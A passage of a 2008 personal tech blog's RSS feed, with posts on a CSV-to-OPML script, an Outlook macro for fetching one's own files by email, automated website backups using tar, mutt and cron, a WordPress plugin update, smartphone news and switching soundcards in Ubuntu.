&lt;p&gt;Output: OPML file that can be imported into many blogging/blogrolling software and websites (e.g. wordpress, blogrolling.com, etc)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;shantz-csv-to-opml.pl &amp;lt;input file in csv format&amp;gt; &amp;lt;output opml filename&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Input File Format:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Each line should be like this:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;Name of Author&amp;gt;,&amp;lt;bloglink&amp;gt;,&amp;lt;bloglink&amp;gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;e.g.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Shantanu Goel, http://tech.shantanugoel.com, http://blog.shantanugoel.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There can be any number of blogs for any author, if blogs are more than one, then multiple entries for that author will be made in opml file each indexed with increasing number like Shantanu Goel 1, Shantanu Goel 2, etc&lt;/p&gt;
&lt;p&gt;Version History:
0.1 - Initial Version&lt;/p&gt;</content></item><item><title>Project: Retrieve Files From Remote Computer Through E-mail</title><link>https://shantanugoel.com/2008/02/19/project-retrieve-files-from-remote-computer-through-e-mail/</link><pubDate>Tue, 19 Feb 2008 17:52:16 +0000</pubDate><guid>https://shantanugoel.com/2008/02/19/project-retrieve-files-from-remote-computer-through-e-mail/</guid><description>&lt;p&gt;I came across &lt;a href="http://lifehacker.com/357710/retrieve-any-file-on-your-home-computer-by-email"&gt;this post&lt;/a&gt; on lifehacker today (original post and solution &lt;a href="http://murphymac.com/retrieve-a-remote-file-by-email/"&gt;here&lt;/a&gt;), which talks about a method of retrieving files from a remote computer through e-mail. Pretty archaic, I know, but again, it is a very simple method and works behind all the firewalls and stuff &lt;img src="https://shantanugoel.com/img/uploads/smile1.gif" alt=""&gt;. But, the catch is that it is only for mac’s. Thought of creating something similar for the PC and mashed together some code during lunch time at office to make our dear old outlook remote-file-sending-capable.&lt;/p&gt;</description><content>&lt;p&gt;I came across &lt;a href="http://lifehacker.com/357710/retrieve-any-file-on-your-home-computer-by-email"&gt;this post&lt;/a&gt; on lifehacker today (original post and solution &lt;a href="http://murphymac.com/retrieve-a-remote-file-by-email/"&gt;here&lt;/a&gt;), which talks about a method of retrieving files from a remote computer through e-mail. Pretty archaic, I know, but again, it is a very simple method and works behind all the firewalls and stuff &lt;img src="https://shantanugoel.com/img/uploads/smile1.gif" alt=""&gt;. But, the catch is that it is only for mac’s. Thought of creating something similar for the PC and mashed together some code during lunch time at office to make our dear old outlook remote-file-sending-capable.&lt;/p&gt;</content></item><item><title>Remote File Access Through E-Mail</title><link>https://shantanugoel.com/2008/02/19/remote-file-access-through-e-mail/</link><pubDate>Tue, 19 Feb 2008 17:43:30 +0000</pubDate><guid>https://shantanugoel.com/2008/02/19/remote-file-access-through-e-mail/</guid><description>&lt;p&gt;&lt;strong&gt;Introduction:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is a (proof-of-concept) outlook macro that you can use with an outlook rule to retrieve your files from your home/office PC by sending it a mail with a subject having a predefined special keyword and the body containing the names and paths of the files. The remote PC will then mail you the files on a predefined e-mail ID.&lt;/p&gt;
&lt;p&gt;This project came into being after reading &lt;strong&gt;&lt;a href="http://lifehacker.com/357710/retrieve-any-file-on-your-home-computer-by-email"&gt;this post&lt;/a&gt;&lt;/strong&gt; at lifehacker (original post and solution &lt;a href="http://murphymac.com/retrieve-a-remote-file-by-email/"&gt;here&lt;/a&gt;). It listed a method to retrieve mails on your home/office PC by sending a &amp;ldquo;magic email&amp;rdquo; to it, but it was only for mac&amp;rsquo;s. Seeing that people wanted it for windows as well, I thought of making something up during lunch time at office.&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;Introduction:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is a (proof-of-concept) outlook macro that you can use with an outlook rule to retrieve your files from your home/office PC by sending it a mail with a subject having a predefined special keyword and the body containing the names and paths of the files. The remote PC will then mail you the files on a predefined e-mail ID.&lt;/p&gt;
&lt;p&gt;This project came into being after reading &lt;strong&gt;&lt;a href="http://lifehacker.com/357710/retrieve-any-file-on-your-home-computer-by-email"&gt;this post&lt;/a&gt;&lt;/strong&gt; at lifehacker (original post and solution &lt;a href="http://murphymac.com/retrieve-a-remote-file-by-email/"&gt;here&lt;/a&gt;). It listed a method to retrieve mails on your home/office PC by sending a &amp;ldquo;magic email&amp;rdquo; to it, but it was only for mac&amp;rsquo;s. Seeing that people wanted it for windows as well, I thought of making something up during lunch time at office.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Download the attached zip file (shantz-outlook-remote-file-access.zip) and unzip it. It has a VB module &amp;ldquo;shantz-outlook-remote-file-access.bas&amp;rdquo; (can be opened with any text editor)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create a new macro in Outlook. Copy the code contained in Module1.bas to the main source file of the macro.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Edit the code to change the e-mail ID to which the files will be e-mailed. Save the macro.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create a new rule in Outlook. Choose to run the rule when a specific word is found in the subject. e.g. use &amp;ldquo;SendMeMyFiles&amp;rdquo;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The action part of the rule should be &amp;ldquo;run a script&amp;rdquo;. Here you can choose the macro that you just created from the list shown by Outlook.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Save the rule and you are done.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now try, sending a mail to the account that your outlook is configured to receive mail for, with the special keyword in the subject and a list of files (with their complete absolute paths on the remote computer) separated by semicolons (&amp;quot;;&amp;quot; without the quotes), and watch magic happen :).&lt;/p&gt;
&lt;p&gt;e.g.: To: &lt;a href="mailto:myemail@email.com"&gt;myemail@email.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;subject: SendMeMyFiles&lt;/p&gt;
&lt;p&gt;Body: c:\path\of\files\file1;d:\second\path\file2&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;IMPORTANT NOTES:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;For this thing to work, outlook has to be running on the remote PC as this depends on a &amp;ldquo;client-side&amp;rdquo; rule.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This is just a proof-of-concept as of now, so there is no error handling right now. Plus the e-mail body parsing is finicky and so the e-mail body should not have anything other than the file paths and names. This might change in future if I decide to update it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Don&amp;rsquo;t use it if your life depends on it. Use it for basic purposes and modify and improve it appropriately before you decide to use it seriously (You may submit your modifications here as well)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It has been tested only on Outlook 2003, but might work on others as well.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let me know of any thoughts you may have about this.&lt;/p&gt;</content></item><item><title>Boring Meetings? CallJockey To The Rescue</title><link>https://shantanugoel.com/2008/02/19/boring-meetings-calljockey-to-the-rescue/</link><pubDate>Tue, 19 Feb 2008 04:43:19 +0000</pubDate><guid>https://shantanugoel.com/2008/02/19/boring-meetings-calljockey-to-the-rescue/</guid><description>&lt;p&gt;Stuck in another boring meeting? You have a way out now, because connectivetools have released their app &lt;a href="http://www.connectivetools.com/calljockey.html"&gt;CallJockey&lt;/a&gt;, which can simulate fake incoming calls. What&amp;rsquo;s more, you can select the name, phone number or one of your saved contacts from whom the fake call will appear to be coming, plus you can define the time when you want it to ring. The only limitation is that it is available only for WM5 smarphones (WM6 Standard), i.e., windows mobile phones without a touchscreen.&lt;/p&gt;</description><content>&lt;p&gt;Stuck in another boring meeting? You have a way out now, because connectivetools have released their app &lt;a href="http://www.connectivetools.com/calljockey.html"&gt;CallJockey&lt;/a&gt;, which can simulate fake incoming calls. What&amp;rsquo;s more, you can select the name, phone number or one of your saved contacts from whom the fake call will appear to be coming, plus you can define the time when you want it to ring. The only limitation is that it is available only for WM5 smarphones (WM6 Standard), i.e., windows mobile phones without a touchscreen.&lt;/p&gt;
&lt;p&gt;AND, it is **FREE **but only till March 1 under a promotion they are running, so go &lt;a href="http://www.connectivetools.com/calljockey.html"&gt;get it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/calljockey1.jpg" alt="Calljockey1"&gt; &lt;img src="https://shantanugoel.com/img/uploads/calljockey2.jpg" alt="Calljockey2"&gt;&lt;/p&gt;</content></item><item><title>Project: "shantz-wp-qotd ", My Wordpress Plugin, Updated to 1.1.0</title><link>https://shantanugoel.com/2008/02/17/project-shantz-wp-qotd-my-wordpress-plugin-update-to-110/</link><pubDate>Sun, 17 Feb 2008 15:44:18 +0000</pubDate><guid>https://shantanugoel.com/2008/02/17/project-shantz-wp-qotd-my-wordpress-plugin-update-to-110/</guid><description>&lt;p&gt;For the uninitiated:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Shantz WP QOTD is a plugin to add quotes to your wordpress blog in a few easy clicks. It adds quotes to your posts and your sidebars with a multitude of options for sources and customization.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I made a few additions / modifications to the code and the plugin has been updated to 1.1.0. The changes are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Added Custom tag support for adding quotes anywhere in your posts/pages&lt;/p&gt;</description><content>&lt;p&gt;For the uninitiated:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Shantz WP QOTD is a plugin to add quotes to your wordpress blog in a few easy clicks. It adds quotes to your posts and your sidebars with a multitude of options for sources and customization.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I made a few additions / modifications to the code and the plugin has been updated to 1.1.0. The changes are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Added Custom tag support for adding quotes anywhere in your posts/pages&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added Custom quote separator support and multi-line quotes support&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Config Screenshots:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/Screenshot1.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/Screenshot1_thumb.jpg" alt="Screenshot1"&gt;&lt;/a&gt; &lt;a href="https://shantanugoel.com/img/uploads/Screenshot2.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/Screenshot2_thumb.jpg" alt="Screenshot2"&gt;&lt;/a&gt; &lt;a href="https://shantanugoel.com/img/uploads/Screenshot3.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/Screenshot3_thumb.jpg" alt="Screenshot3"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I recommend that you update to this new version asap, as apart from the above mentioned changes, the code is a bit more cleaner as well, which would run a bit better IMO and also help in any modification if you have in mind.&lt;/p&gt;</content></item><item><title>TIP: Automating Website Backups</title><link>https://shantanugoel.com/2008/02/17/tip-automating-website-backups/</link><pubDate>Sun, 17 Feb 2008 09:19:50 +0000</pubDate><guid>https://shantanugoel.com/2008/02/17/tip-automating-website-backups/</guid><description>&lt;p&gt;What can go wrong with your wonderfully running website / blog? Everything..&lt;/p&gt;
&lt;p&gt;Your online abode is so difficult to keep secured. It can get hacked, you may install something wrong, a wrong configuration can wreak havoc, the server hard disk might crash, natural calamities, and what not. Your best option to secure yourself against all this is summarized in just one word “BACKUP”.&lt;/p&gt;
&lt;p&gt;Now, a backup involves two most important things: “Database Backup” and “Files Backup”. Most webhosts give you the options to back these up for you but with a few catches:&lt;/p&gt;</description><content>&lt;p&gt;What can go wrong with your wonderfully running website / blog? Everything..&lt;/p&gt;
&lt;p&gt;Your online abode is so difficult to keep secured. It can get hacked, you may install something wrong, a wrong configuration can wreak havoc, the server hard disk might crash, natural calamities, and what not. Your best option to secure yourself against all this is summarized in just one word “BACKUP”.&lt;/p&gt;
&lt;p&gt;Now, a backup involves two most important things: “Database Backup” and “Files Backup”. Most webhosts give you the options to back these up for you but with a few catches:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;You can backup but only through your control panel manually. No automation/scheduling of backups.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Automated Backing up is not free&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Automated Backing up is free but restoring is not as they give you the backed up data only on request.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are many plugins available for most CMS and blogging sw for backing up databases. But what about the files? Especially if you have more than one sites on one hosting account. Well, here I’ll tell you how to automate file backups in three simple steps.&lt;/p&gt;
&lt;p&gt;Note: This guide is only for linux based hosts. But you can follow a similar approach for windows based hosting as well.&lt;/p&gt;
&lt;p&gt;Step 1) Backup through command line.&lt;/p&gt;
&lt;p&gt;You can use “tar” for this. With tar, you can create compressed archives quickly for a complete directory tree.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tar cvzf ~/backups/backup_`date +%w`.tgz ~/public_html
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Explanation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;tar is the name of the command&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;c =&amp;gt; compress v=&amp;gt; verbose z=&amp;gt;gzip for compression&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;del&gt;/backups =&amp;gt; backup directory where ur backups will be stored (&lt;/del&gt; is shortcut for your home directory). It is generally a good practice to store your backups in a directory not directly accessible through http, i.e., outside your public_html directory.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;backup_&lt;code&gt;date +%w&lt;/code&gt;.tgz =&amp;gt; forms the name of the backup file in the form &lt;code&gt;backup_&amp;lt;dayofweek&amp;gt;.tgz&lt;/code&gt;. This will form a circular buffer kind of scenario where backups more than 1 week later will automatically be overwritten by latest ones to avoid using up all your webspace. You can modify this according to your need and available webspace by taking a look at man page of “date” command. (Run “man date” on command line)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;~/public_html =&amp;gt; is the directory you want to backup. Most probably your website will be located in this directory. If not sure, then check with your webhost.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Step 2) Mailing the backup to yourself through command line. (The server might develop some problem, hard disk might crash or your backups on server might be lost, so this is a good option to have)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-mysql" data-lang="mysql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mutt &lt;span style="color:#f92672"&gt;-&lt;/span&gt;s &lt;span style="color:#e6db74"&gt;&amp;#34;Backup `date`&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt;a &lt;span style="color:#f92672"&gt;~/&lt;/span&gt;backups&lt;span style="color:#f92672"&gt;/&lt;/span&gt;backup_&lt;span style="color:#f92672"&gt;`&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;date&lt;/span&gt; &lt;span style="color:#f92672"&gt;+%&lt;/span&gt;w&lt;span style="color:#f92672"&gt;`&lt;/span&gt;.tgz myuserid&lt;span style="color:#f92672"&gt;@&lt;/span&gt;mymail.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Explanation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;mutt =&amp;gt; mailing user agent that sends the mail (You can use others, but I prefer mutt)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;-s &amp;ldquo;Backup &lt;code&gt;date&lt;/code&gt;&amp;rdquo; =&amp;gt; -s option is to specify the subject of the mail on command line. This line will specify the backup date as subject.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;-a ~/backups/backup_&lt;code&gt;date +%w&lt;/code&gt;.tgz =&amp;gt; -a option specifies the file to be attached.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="mailto:myuserid@mymail.com"&gt;myuserid@mymail.com&lt;/a&gt; =&amp;gt; Specify the mail id t which the email has to be sent&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&amp;lt;/dev/null =&amp;gt; The body of the email is empty. If you want some text to be here, you can form a file, say “email.txt” and write the contents in it and replace the above part with “&amp;lt;email.txt”&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Step 3) Final Step. Automating it all. What you need to do is add the above commands into a script and then find a way to make it run automatically.&lt;/p&gt;
&lt;p&gt;The script looks like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tar cvzf ~/backups/backup_&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;date +%w&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;.tgz ~/public_html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mutt -s &lt;span style="color:#e6db74"&gt;&amp;#34;Backup `date`&amp;#34;&lt;/span&gt; -a ~/backups/backup_&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;date +%w&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;.tgz myuserid@mymail.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Save it as “backup.sh” and make it executable by running “chmod +x backup.sh”. We’ll assume that you save it in ~/backups directory. You can store it anywhere, just remember it.&lt;/p&gt;
&lt;p&gt;Now, you need to tell the server to run it automatically at a specified time. We’ll use “cron” for this. (If you are not comfortable with command line, then login to your website control panel, and look for an option called cron, where you can make the schedule graphically) Run the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;crontab -e
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will open a file with your scheduled tasks info. Make sure that you don’t touch any of the existing lines. Add the following line at the end.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MAILTO=&amp;#34;myusername&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;00 22 * * * ~/backups/backup.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The first line will make sure that the output of the script, any errors etc, are sent to the your local mail account, that you can check for debugging purposes.&lt;/p&gt;
&lt;p&gt;The second line is of the format “# m h dom mon dow command”
m=&amp;gt; minute of the hour
h=&amp;raquo; hour of the day
dom=&amp;gt; Day of month
mon=&amp;gt; month of year
dow=&amp;gt; day of week
command=&amp;gt; command that you want to run
So, the command mentioned above will run the command every day at 10:00 PM GMT. You can modify the line according to your needs.&lt;/p&gt;
&lt;p&gt;That’s it. You are done. Just wait for the specified time, and then check your mailbox for the backup file. Let me know if you face any problems, have any issues, or want to ask any questions about cuztomizing it for yourself.&lt;/p&gt;</content></item><item><title>Engineer: A New Definition</title><link>https://shantanugoel.com/2008/02/14/engineer-a-new-definition/</link><pubDate>Thu, 14 Feb 2008 17:06:12 +0000</pubDate><guid>https://shantanugoel.com/2008/02/14/engineer-a-new-definition/</guid><description>&lt;p&gt;Came across this funny, but still thought provoking, definition of an engineer.&lt;/p&gt;
&lt;p&gt;(Taken from “The Embedded Muse”, a useful embedded stuff related newsletter published by &lt;a href="http://www.ganssle.com/"&gt;Jack Ganssel&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;“An engineer is a person who passes as an exacting expert on the basis
of being able to turn out with prolific fortitude infinite strings of
incomprehensible formulas calculated with micrometric precision from
vague assumptions which are based on debatable figures taken from
inconclusive experiments carried out with instruments of problematical
accuracy by persons of questionable mentality and doubtful reliability
for the avowed purpose of annoying and confusing a hopelessly
chimerical group of esoteric fanatics referred to altogether too
frequently as technicians.”&lt;/p&gt;</description><content>&lt;p&gt;Came across this funny, but still thought provoking, definition of an engineer.&lt;/p&gt;
&lt;p&gt;(Taken from “The Embedded Muse”, a useful embedded stuff related newsletter published by &lt;a href="http://www.ganssle.com/"&gt;Jack Ganssel&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;“An engineer is a person who passes as an exacting expert on the basis
of being able to turn out with prolific fortitude infinite strings of
incomprehensible formulas calculated with micrometric precision from
vague assumptions which are based on debatable figures taken from
inconclusive experiments carried out with instruments of problematical
accuracy by persons of questionable mentality and doubtful reliability
for the avowed purpose of annoying and confusing a hopelessly
chimerical group of esoteric fanatics referred to altogether too
frequently as technicians.”&lt;/p&gt;</content></item><item><title>SmartPhones/NextGen Telephony: News That Matters</title><link>https://shantanugoel.com/2008/02/14/smartphonesnextgen-telephony-news-that-matters/</link><pubDate>Thu, 14 Feb 2008 05:08:10 +0000</pubDate><guid>https://shantanugoel.com/2008/02/14/smartphonesnextgen-telephony-news-that-matters/</guid><description>&lt;p&gt;Just wanted to share some pieces that generated a variety of &amp;ldquo;hmmm&amp;rdquo;, &amp;ldquo;ahaa&amp;rdquo; and &amp;ldquo;wow&amp;rdquo; from me:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.rcrnews.com/apps/pbcs.dll/article?AID=/20080213/FREE/837538685/1002/rss01"&gt;China Mobile set to trial LTE&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;China Mobile said it will join Vodafone Group plc and Verizon Wireless in an ongoing trial of LTE technology…….The trials &amp;ndash; which include three powerhouse network operators &amp;ndash; underscore the momentum LTE is gaining as a leading 4G technology possibility vs. WiMAX and Ultra Mobile Broadband.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;ldquo;HMMM&amp;rdquo; - U go LTE!!&lt;/p&gt;</description><content>&lt;p&gt;Just wanted to share some pieces that generated a variety of &amp;ldquo;hmmm&amp;rdquo;, &amp;ldquo;ahaa&amp;rdquo; and &amp;ldquo;wow&amp;rdquo; from me:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.rcrnews.com/apps/pbcs.dll/article?AID=/20080213/FREE/837538685/1002/rss01"&gt;China Mobile set to trial LTE&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;China Mobile said it will join Vodafone Group plc and Verizon Wireless in an ongoing trial of LTE technology…….The trials &amp;ndash; which include three powerhouse network operators &amp;ndash; underscore the momentum LTE is gaining as a leading 4G technology possibility vs. WiMAX and Ultra Mobile Broadband.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;ldquo;HMMM&amp;rdquo; - U go LTE!!&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.telstra.com.au/abouttelstra/media/announcements_article.cfm?ObjectID=41758"&gt;Telstra Launches the i-mate Ultimate 8502 and 9502 in Australia&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Telstra and i-mate have today launched the i-mate™ Ultimate 8502 and i-mate™ Ultimate 9502. Telstra is the first operator to deploy these devices globally and both devices will be exclusive in Australia to Telstra customers. Building on a five-year partnership which has seen the successful launch of 10 i-mate™ devices on the Telstra network, Telstra has teamed up with i-mate™ again to release the Ultimate mobile devices.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;ldquo;AHA&amp;rdquo; - So, they are not vaporware after all :) !!&lt;/p&gt;
&lt;p&gt;&lt;a href="http://android-developers.blogspot.com/2008/02/android-sdk-m5-rc14-now-available.html"&gt;Android SDK m5-rc14 now available&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;New user interface&lt;/strong&gt; - As I mentioned when we introduced the m3 version of the Android SDK, we&amp;rsquo;re continuing to refine the UI that&amp;rsquo;s available for Android. m5-rc14 replaces the previous placeholder with a new UI, but as before, work on it is still in-progress.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Layout animations&lt;/strong&gt; - Developers can now create layout animations for their applications using the capabilities introduced in the android.view.animation package. Check out the LayoutAnimation*.java files in the APIDemos sample code for examples of how this works.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Geo-coding&lt;/strong&gt; - android.location.Geocoder enables developers to forward and reverse geo-code (i.e. translate an address into a coordinate and vice-versa), and also search for businesses.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;New media codecs&lt;/strong&gt; - The MediaPlayer class has added support for the OGG Vorbis, MIDI, XMF, iMelody, RTTL/RTX, and OTA audio file formats.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Updated Eclipse plug-in&lt;/strong&gt; - A new version of ADT is available and provides improvements to the Android developer experience. In particular, check out the new Android Manifest editor.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;ldquo;WOW&amp;rdquo; What else can I say?!!&lt;/p&gt;</content></item><item><title>TIP: Switching Soundcards In Ubuntu</title><link>https://shantanugoel.com/2008/02/12/tip-switching-soundcards-in-ubuntu/</link><pubDate>Tue, 12 Feb 2008 18:00:47 +0000</pubDate><guid>https://shantanugoel.com/2008/02/12/tip-switching-soundcards-in-ubuntu/</guid><description>&lt;p&gt;If you have multiple soundcards in your system and have to switch between them regularly (e.g. laptop owners like me, who use an external soundcard while being docked to groove to the highest and the lowest of frequencies through those 7.1 channels and use the in-built sound card while on the move) you would definitely be under-whelmed by the less-than-stellar performance of ubuntu in switching between the sound cards. For me at least, ubuntu (fiesty 7.04 amd64) never seems to recognize that I&amp;rsquo;ve connected the speakers to my Audigy 2 ZS Notebook PCMCIA card, and merrily continues to huff-puff through the tinny laptop speakers until I manually go into the sound preferences, switch over to multichannel playback and vice versa. Well, I still haven&amp;rsquo;t found an automated solution for the switching, but here is a little cli-magic to do this in a click.&lt;/p&gt;</description><content>&lt;p&gt;If you have multiple soundcards in your system and have to switch between them regularly (e.g. laptop owners like me, who use an external soundcard while being docked to groove to the highest and the lowest of frequencies through those 7.1 channels and use the in-built sound card while on the move) you would definitely be under-whelmed by the less-than-stellar performance of ubuntu in switching between the sound cards. For me at least, ubuntu (fiesty 7.04 amd64) never seems to recognize that I&amp;rsquo;ve connected the speakers to my Audigy 2 ZS Notebook PCMCIA card, and merrily continues to huff-puff through the tinny laptop speakers until I manually go into the sound preferences, switch over to multichannel playback and vice versa. Well, I still haven&amp;rsquo;t found an automated solution for the switching, but here is a little cli-magic to do this in a click.&lt;/p&gt;
&lt;p&gt;If you have alsa on ur system, just use the command &amp;ldquo;asoundconf list&amp;rdquo; first to list out all the soundcards connected to your system. e.g. on my system, the output is&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$asoundconf list
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;IXP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;AUDIGY2
